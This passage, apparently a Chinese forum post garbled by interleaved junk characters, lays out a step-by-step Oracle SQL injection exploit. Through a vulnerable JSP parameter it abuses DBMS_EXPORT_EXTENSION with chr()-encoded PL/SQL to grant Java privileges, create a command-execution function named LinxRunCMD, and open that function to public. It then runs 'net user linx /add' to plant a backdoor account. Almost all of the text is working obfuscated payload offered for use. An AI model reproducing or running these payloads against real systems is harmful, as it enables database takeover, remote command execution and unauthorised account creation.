* B4 o" h- S0 p1 x: a3 e, Bchr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
# C' S0 \" F7 I. f- ~chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
2 t" Y- Y9 @1 v0 H3 @( M7 M' xchr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||8 i% d6 Q( R A
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
# v D" x, j9 D,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
# L2 C c5 |/ q7 I8 a: j2 Z" k) ]2 @& D8 y% j6 s B
)
3 J1 |% `. Q/ C K( u0 a7 }+ @! f M# e, u1 @
------------------------------
( Y" |3 R* W# H' {! j, n" \& B3 O9 u- K4 Q$ C: H4 m& m
2.赋Java权限
% `( K; @5 V) h/xxx.jsp?id=1 and chr(49)<>chr(50)||(
" f6 u: c, d2 U$ `; x# R% c$ A- u5 E; X# q0 _) H/ k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),8 {( K8 H/ h: P; ]+ H
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
w' V+ p8 i/ G- echr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
3 S2 T. L5 k2 {) J2 l! Ychr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||8 r% d6 ?8 l/ O- a
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
4 E3 x8 e/ u* h3 ^. c! fchr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
: ?8 ^5 m ~( B) ~* ^chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
w# |4 B6 F9 i( E. K- `! Z1 schr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
! G" U) U, H( M& j) I3 Dchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
( V; i1 y4 Z/ M) m) xchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)1 ]9 Z& a4 g0 A3 f7 V
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual, Y4 c! q8 S1 c- F( Y F% A
' q5 S* L, c# D! t6 l- L)
* W. Q& a4 L0 w( a0 z; ~3 `% t- G% u6 h
readfile函数的ascii版就不写了,见谅。
0 s; |) y9 g/ q5 [
: L; S& M" y3 v0 J2 Q3.创建函数
4 k+ w. z% s! k1 D0 \( e& b, @9 e9 ]
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82)," z( M2 q, n8 {* R
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
8 {. a2 o" J; ]8 echr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||- `" k3 {+ m( K! b0 N& _4 P- h
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||0 Z3 [; Z7 M. `' g/ D
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
]7 h' h# y f4 w) W: y; }chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
9 x9 k, d- c$ r6 G/ Xchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
9 Y w7 t; |7 R1 d; K9 Vchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
z& g2 H: H/ J& lchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
5 f' f6 o, f$ ^7 H: S; N# vchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
: a! P+ {; e& @# s; m, I8 S: n6 Kchr(59)||chr(45)||chr(45); e; }% I% \" p7 N) o* R; t0 n
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
4 }2 `& u$ j' B) z) O. D# A5 i6 t7 ^7 [ L
2 A( y- |1 N1 a+ q1 M
1 {9 j( @7 ?" n; J: Y4.赋public执行函数的权限
y0 S+ N5 w! [3 k/ n3 Y- i r% f7 b/ N# w" L* e! A
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),/ p2 R7 f) H- b( P9 v+ J1 N& a
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
* ]4 E' n2 R2 |- Ichr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||4 Y( W0 i: }; m( W$ z" ~
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||$ d0 `7 M5 J c3 o( F- }9 ]9 l& }
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
1 ^. \ u- S7 l b4 n& [" pchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||, Q; C' r3 N. j! v
chr(59)||chr(45)||chr(45)1 v S t# j/ N0 h
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual0 l& G) x* O. P4 r
0 E6 {0 m7 y" A8 ~1 j! S" ?& u+ K( q2 w" y% }
6 P7 w2 n( G/ J% F1 Z5.执行命令:, L1 _& s/ y1 k. N+ _( Q) h
# O" ~6 k' p V$ o% q
/xxx.jsp?id=1 and chr(49)<>chr(32)||(- M3 m( G4 ]$ j9 a
select sys.LinxRunCMD('cmd /c net user linx /add') from dual4 f8 d0 O' D8 V4 y) s
)
* z# |* x, C/ Z6 M+ v8 @ J7 ^% a- h8 T& g$ }4 J* C' ^; `6 q5 x) j
即
. Z' M/ r5 l7 _% v: m1 f9 E: P! b/xxx.jsp?id=1 and chr(49)<>chr(32)||(
4 m. o( V, s' i- _select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
: A0 k4 V5 o& Q8 } C7 v7 a3 ^)
: G( a# g( d% X1 M( K8 l ^' B |